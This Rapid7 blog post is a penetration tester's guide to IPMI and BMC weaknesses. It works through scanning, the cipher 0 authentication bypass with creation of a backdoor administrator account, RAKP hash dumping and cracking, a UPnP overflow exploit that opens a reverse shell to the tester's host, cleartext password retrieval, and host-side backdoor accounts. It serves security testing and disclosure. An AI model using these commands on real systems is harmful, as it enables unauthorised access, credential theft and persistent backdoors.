A Penetration Tester's Guide to IPMI and BMCs | Rapid7 Blog (2023)

Last updated at Tue, 27 Oct 2020 13:35:08 GMT

Introduction

Dan Farmer is known for his groundbreaking work on security tools and processes. Over the last year, Dan has identified some serious security issues with the Intelligent Platform Management Interface (IPMI) protocol and the Baseboard Management Controllers (BMCs) that speak it. This post goes into detail on how to identify and test for each of the issues that Dan identified, using a handful of free security tools. If you are looking for a quick overview of the issues discussed in this post, please review the FAQ. Dan has also put together an excellent best practices document that is a must-read for anyone working on the remediation side.

BMCs and the IPMI Protocol

Baseboard Management Controllers (BMCs) are a type of embedded computer used to provide out-of-band monitoring for desktops and servers. These products are sold under many brand names, including HP iLO, Dell DRAC, Sun ILOM, Fujitsu iRMC, IBM IMM, and Supermicro IPMI. BMCs are often implemented as embedded ARM systems, running Linux and connected directly to the southbridge of the host system's motherboard. Network access is obtained either via 'sideband' access to an existing network card or through a dedicated interface. In addition to being built-in to various motherboards, BMCs are also sold as pluggable modules and PCI cards. Nearly all servers and workstations ship with or support some form of BMC. The Intelligent Platform Management Interface (IPMI) is a collection of specifications that define communication protocols for talking both across a local bus as well as the network. This specification is managed by Intel and currently comes in two flavors, version 1.5 and version 2.0. The primary goal of Dan Farmer's research was on the security of the IPMI network protocol that uses UDP port 623. A diagram of the how the BMC interfaces with the system is shown below (CC-SA-3.0 (C) U. Vezzani).

High Value Targets

BMCs are often under appreciated and overlooked during security audits. Like many embedded devices, they tend to respond slowly to tests and have a few non-standard network services in addition to web-based management. The difference between a BMC and say, a printer, is what you get access to once it has been successfully compromised. The BMC has direct access to the motherboard of its host system. This provides the ability to monitor, reboot, and reinstall the host server, with many systems providing interactive KVM access and support for virtual media. In essence, access to the BMC is effectively physical access to the host system. If an attacker can not only login to the BMC, but gain root access to it as well, they may be able to directly access the i2c bus and Super I/O chip of the host system. Bad news indeed.

Network Services

The network services offered by major brands of BMCs different widely by vendor, but here are some commonalities. Most BMCs expose some form of web-based management, a command-line interface such as Telnet or Secure Shell, and the IPMI network protocol on port 623 (UDP and sometimes TCP). The example below shows the output of Nmap -sSV -p1-65535 scan against a Supermicro BMC in its default configuration.

Supermicro IPMI (firmware SMT_X9_218)

PORT STATE SERVICE VERSION

22/tcp open ssh Dropbear sshd 2012.55 (protocol 2.0)

80/tcp open http lighttpd

443/tcp open ssl/http lighttpd

623/tcp open ipmi-rmcp SuperMicro IPMI RMCP

5900/tcp open vnc VNC (protocol 3.8)

5985/tcp open wsman?

49152/tcp open upnp Intel UPnP reference SDK 1.3.1 (Linux 2.6.17.WB_WPCM450.1.3; UPnP 1.0)

In addition to the TCP ports listed, this device also responds on UDP ports 623 (IPMI) and 1900 (UPnP SSDP).

Network Discovery

A single-packet probe to the UDP IPMI service on port 623 is is an especially fast way of discovering BMCs on the network. The following examples demonstrates the use of the Metasploit Framework's ipmi_version module to identify local BMCs. The reply indicates whether the device supports version 1.5 or 2.0 and what forms of authentication are supported.

$ msfconsole

=[ metasploit v4.7.0-dev [core:4.7 api:1.0]

-- --=[ 1119 exploits - 638 auxiliary - 179 post

-- --=[ 309 payloads - 30 encoders - 8 nops

msf> use auxiliary/scanner/ipmi/ipmi_version
msf auxiliary(ipmi_version) > set RHOSTS 10.0.0.0/24

msf auxiliary(ipmi_version) > run

[*] Sending IPMI requests to 10.0.0.0->10.0.0.255 (256 hosts)

[*] 10.0.0.7:623 IPMI-2.0 OEMID:21317 UserAuth(auth_msg, auth_user, non_null_user, null_user) PassAuth(password, md5, md2) Level(1.5, 2.0)

[*] 10.0.0.4:623 IPMI-2.0 OEMID:21317 UserAuth(auth_msg, auth_user, non_null_user, null_user) PassAuth(password, md5, md2) Level(1.5, 2.0)

[*] 10.0.0.135:623 IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)

[*] 10.0.0.249:623 IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)

[*] 10.0.0.252:623 IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0)

Usernames & Passwords

As most penetration testers know, the easiest way into most network devices is through default passwords. BMCs are no different, and the table below shows the default username and password combinations for the most popular BMC brands sold today. Note that only HP randomizes the password during the manufacturing process.

Vulnerability Exposure

This section documents the various vulnerabilities identified by Dan Farmer's research into IPMI and some additional findings that came to light during further investigation.

IPMI Authentication Bypass via Cipher 0

Dan Farmer identified a serious failing of the IPMI 2.0 specification, namely that cipher type 0, an indicator that the client wants to use clear-text authentication, actually allows access with any password. Cipher 0 issues were identified in HP, Dell, and Supermicro BMCs, with the issue likely encompassing all IPMI 2.0 implementations. It is easy to identify systems that have cipher 0 enabled using the ipmi_cipher_zero module in the Metasploit Framework.

$ **msfconsole**</span>=[ metasploit v4.7.0-dev [core:4.7 api:1.0]==-- --=[ 1119 exploits - 638 auxiliary - 179 post-- --=[ 309 payloads - 30 encoders - 8 nopsmsf> **use auxiliary/scanner/ipmi/ipmi_cipher_zero**msf auxiliary(ipmi_cipher_zero) > **set RHOSTS 10.0.0.0/24**msf auxiliary(ipmi_cipher_zero) > **run**[*] Sending IPMI requests to 10.0.0.0->10.0.0.255 (256 hosts)[ ] 10.0.0.99:623 VULNERABLE: Accepted a session open request for cipher zero[ ] 10.0.0.132:623 VULNERABLE: Accepted a session open request for cipher zero[ ] 10.0.0.141:623 VULNERABLE: Accepted a session open request for cipher zero[ ] 10.0.0.153:623 VULNERABLE: Accepted a session open request for cipher zero

The following example demonstrates how to exploit the cipher 0 issue using the standard "ipmitool" command-line interface. This utility is available on most platforms and be installed on Debian-based Linux distributions by running "sudo apt-get install ipmitool". Notice how the flag for specifying cipher 0 (-C 0) allows a previously disallowed action to execute. For this attack to work a valid username must be identified, which is almost never an issue. Once a backdoor account has been created, any number of attacks on the BMC and its host become possible.

$ ipmitool -I lanplus -H 10.0.0.99 -U Administrator -P FluffyWabbit user list

Error: Unable to establish IPMI v2 / RMCP session

Get User Access command failed (channel 14, user 1)

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list

ID Name Callin Link Auth IPMI Msg Channel Priv Limit

1 Administrator true false true ADMINISTRATOR

2 (Empty User) true false false NO ACCESS

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set name 2 backdoor

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set password 2 password

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user priv 2 4

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user enable 2

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list

ID Name Callin Link Auth IPMI Msg Channel Priv Limit

1 Administrator true false true ADMINISTRATOR

2 backdoor true false true ADMINISTRATOR

$ ssh backdoor@10.0.0.99

backdoor@10.0.0.99's password: password

User:backdoor logged-in to ILOMXQ3469216(10.0.0.99)

iLO 4 Advanced Evaluation 1.13 at Nov 08 2012

Server Name: host is unnamed

Server Power: On

</>hpiLO->

IPMI 2.0 RAKP Authentication Remote Password Hash Retrieval

More recently, Dan Farmer identified an even bigger issue with the IPMI 2.0 specification. In short, the authentication process for IPMI 2.0 mandates that the server send a salted SHA1 or MD5 hash of the requested user's password to the client, prior to the client authenticating. You heard that right - the BMC will tell you the password hash for any valid user account you request. This password hash can broken using an offline bruteforce or dictionary attack. Since this issue is a key part of the IPMI specification, there is no easy path to fix the problem, short of isolating all BMCs into a separate network. The ipmi_dumphashes module in the Metasploit Framework can make short work of most BMCs.

$ msfconsole

=[ metasploit v4.7.0-dev [core:4.7 api:1.0]

-- --=[ 1119 exploits - 638 auxiliary - 179 post

-- --=[ 309 payloads - 30 encoders - 8 nops

msf> use auxiliary/scanner/ipmi/ipmi_dumphashes

msf auxiliary(ipmi_dumphashes) > set RHOSTS 10.0.0.0/24
msf auxiliary(ipmi_dumphashes) > **set THREADS 256
**

msf auxiliary(ipmi_dumphashes) > run

[ ] 10.0.0.59 root:266ead5921000000....000000000000000000000000000000001404726f6f74:eaf2bd6a5 3ee18e3b2dfa36cc368ef3a4af18e8b

[ ] 10.0.0.59 Hash for user 'root' matches password 'calvin'

[ ] 10.0.0.59 :408ee18714000000d9cc....000000000000000000000000000000001400:93503c1b7af26abee 34904f54f26e64d580c050e

[ ] 10.0.0.59 Hash for user '' matches password 'admin'

In the example above, the module was able to identify two valid user accounts (root and blank), retrieve the hmac-sha1 password hashes for these accounts, and automatically crack them using an internal wordlist. If a database is connected, Metasploit will automatically store the hashed and clear-text version of these credentials for future use. If a user's password is not found in the local dictionary of common passwords, an external password cracking program can be employed to quickly brute force possible options. The example below demonstrates how to write out John the Ripper and Hashcat compatible files.

msf auxiliary(ipmi_dumphashes) > set RHOSTS 10.0.1.0/24
msf auxiliary(ipmi_dumphashes) > **set THREADS 256
**

msf auxiliary(ipmi_dumphashes) > set OUTPUT_JOHN_FILE out.john

msf auxiliary(ipmi_dumphashes) > set OUTPUT_HASHCAT_FILE out.hashcat

msf auxiliary(ipmi_dumphashes) > run

[ ] 10.0.1.100 root:ee33c2e02700000....000000000000000000000000000000001404726f6f74:8c576f6532 356cc342591204f41cc4eab7da6e8a

Thanks to atom, the main developer of Hashcat, version 0.46 or above now supports cracking RAKP hashes. It is worth noting that atom added support for RAKP within 2 hours of receiving the feature request! In the example below, we use hashcat with RAKP mode (7300) to brute force all four-character passwords within a few seconds.

./hashcat-cli64.bin --username -m 7300 out.hashcat -a 3 ?a?a?a?a

Initializing hashcat v0.46 by atom with 8 threads and 32mb segment-size...

Added hashes from file out.hashcat: 1 (1 salts)

[ ... ]

Input.Mode: Mask (?a?a?a)

Index.....: 0/1 (segment), 857375 (words), 0 (bytes)

Recovered.: 0/1 hashes, 0/1 salts

Speed/sec.: - plains, - words

Progress..: 857375/857375 (100.00%)

Running...: --:--:--:--

Estimated.: --:--:--:--

ee33c2e0270000....000000000000000000000000000000001404726f6f74:8c576f6532356cc34 2591204f41cc4eab7da6e8a:taco

All hashes have been recovered

Thanks to Dhiru Kholia, John the Ripper's "bleeding-jumbo" branch now supports cracking RAKP hashes as well. Make sure you have git installed and build John with the following steps.

$ git clone https://github.com/magnumripper/JohnTheRipper.git

$ cd JohnTheRipper

$ git checkout bleeding-jumbo

$ cd src

$ make linux-x86-64

$ cd ../run

$ ./john --fork=8 --incremental:alpha --format=rakp ./out.john

Loaded 1 password hash (RAKP [IPMI 2.0 RAKP (RMCP ) HMAC-SHA1 32/64 OpenSSL])

Press 'q' or Ctrl-C to abort, almost any other key for status

taco (10.0.1.100 root)

IPMI Anonymous Authentication

In addition to the authentication problems above, Dan Farmer noted that many BMCs ship with "anonymous" access enabled by default. This is configured by setting the username of the first user account to a null string and setting a null password to match. The ipmi_dumphashes module will identify and dump the password hashes (including blank passwords) for null user accounts. This account can be difficult to use on its own, but we can leverage ipmitool to reset the password of a named user account and leverage that account for access to other services.

$ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list

ID Name Callin Link Auth IPMI Msg Channel Priv Limit

1 false false true ADMINISTRATOR

2 root false false true ADMINISTRATOR

3 admin true true true ADMINISTRATOR

$ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 password

At this point we can login to the BMC over SSH using the new password for the root user account.

$ ssh root@10.0.0.97

root@10.0.0.97's password: password

>> SMASH-CLP Console v1.09 <<

->

Supermicro IPMI UPnP Vulnerability

Supermicro includes a UPnP SSDP listener running on UDP port 1900 on the IPMI firmware of many of its recent motherboards. On versions prior to SMT_X9_218 this service was running the Intel SDK for UPnP Devices, version 1.3.1. This version is vulnerable to the issues Rapid7 disclosed in February of 2013, and an exploit target for this platform is part of the Metasploit Framework. The interesting thing about this attack is that it yields complete root access to the BMC, something that is otherwise difficult to obtain. Keep in mind than an attacker with administrative access, either over the network or from a root shell on the host system, can downgrade the firmware of a Supermicro BMC to a vulnerable version and then exploit it. Once root access is obtained, it is possible to read cleartext credentials from the file system, install additional software, and integrate permanent backdoors into the BMC that would survive a full reinstall of the host's operating system.

$ msfconsole

=[ metasploit v4.7.0-dev [core:4.7 api:1.0]

-- --=[ 1119 exploits - 638 auxiliary - 179 post

-- --=[ 309 payloads - 30 encoders - 8 nops

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

msf exploit(libupnp_ssdp_overflow) > set RHOST 10.0.0.98

msf exploit(libupnp_ssdp_overflow) > set LHOST 10.0.0.55

msf exploit(libupnp_ssdp_overflow) > set PAYLOAD cmd/unix/reverse_openssl

msf exploit(libupnp_ssdp_overflow) > exploit

[*] Started reverse double handler

[*] Exploiting 10.0.0.98 with target 'Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1' with 2106 bytes to port 1900...

[ ] Sending payload of 182 bytes to 10.0.0.98:4259...

[*] Command shell session 1 opened (10.0.0.55:4444 -> 10.0.0.98:3688) at 2013-06-24 13:35:24 -0500

[*] Shutting down payload stager listener...

uname -a

Linux (none) 2.6.17.WB_WPCM450.1.3 #1 Wed Nov 14 10:33:10 PST 2012 armv5tejl unknown

Supermicro IPMI Clear-text Passwords

The IPMI 2.0 specification mandates that the BMC respond to HMAC-based authentication methods such as SHA1 and MD5. This authentication process has some serious weaknesses, as demonstrated in previous examples, but also requires access to the clear-text password in order to calculate the authentication hash. This means that the BMC must store a clear-text version of all configured user passwords somewhere in non-volatile storage. In the case of Supermicro, this location changes between firmware versions, but is either /nv/PSBlock or /nv/PSStore. The passwords are scattered between various binary blobs, but easy to pick out as they always follow the username. This is a serious issue for any organization that uses shared passwords between BMCs or even different types of devices.

$ cat /nv/PSBlock

admin ADMINpassword^TT rootOtherPassword!

Exploiting the Host from the BMC

Once administrative access to the BMC is obtained, there are a number of methods available that can be used to gain access to the host operating system. The most direct path is to abuse the BMCs KVM functionality and reboot the host to a root shell (init=/bin/sh in GRUB) or specify a rescue disk as a virtual CD-ROM and boot to that. Once raw access to the host's disk is obtained, it is trivial to introduce a backdoor, copy data from the hard drive, or generally do anything needing doing as part of the security assessment. The big downside, of course, is that the host has to be rebooted to use this method. Gaining access to the host running is much trickier and depends on what the host is running. If the physical console of the host is left logged in, it becomes trivial to hijack this using the built-in KVM functionality. The same applies to serial consoles - if the serial port is connected to an authenticated session, the BMC may allow this port to be hijacked using the ipmitool interface for serial-over-LAN (sol). One path that still needs more research is abusing access to shared hardware, such as the i2c bus and the Super I/O chip.

Exploiting the BMC from the Host

In situations where a host with a BMC has been compromised, the local interface to the BMC can be used to introduce a backdoor user account, and from there establish a permanent foothold on the server. This attack requires the ipmitool to be installed on the host and driver support to be enabled for the BMC. The example below demonstrates how the local interface on the host, which does not require authentication, can be used to inject a new user account into the BMC. This method is universal across Linux, Windows, BSD, and even DOS targets.

root@rcon:~# ipmitool user list

ID Name Callin Link Auth IPMI Msg Channel Priv Limit

2 ADMIN true false false Unknown (0x00)

3 root true false false Unknown (0x00)

root@rcon:~# ipmitool user set name 4 backdoor

root@rcon:~# ipmitool user set password 4 backdoor

root@rcon:~# ipmitool user priv 4 4

root@rcon:~# ipmitool user list

ID Name Callin Link Auth IPMI Msg Channel Priv Limit

2 ADMIN true false false Unknown (0x00)

3 root true false false Unknown (0x00)

4 backdoor true false true ADMINISTRATOR

Summary

The issues covered in this post were uncovered in a relatively short amount of time and have barely scratched the surface of possibilities. In addition to vulnerabilities in the IPMI protocol itself, most BMCs seem to suffer from issues common across all embedded devices, namely default passwords, outdated open source software, and, in some cases, backdoor accounts and static encryption keys. The world of BMCs is a mess that is not likely to get better anytime soon, and we need to be crystal clear about the risk these devices pose to our networks.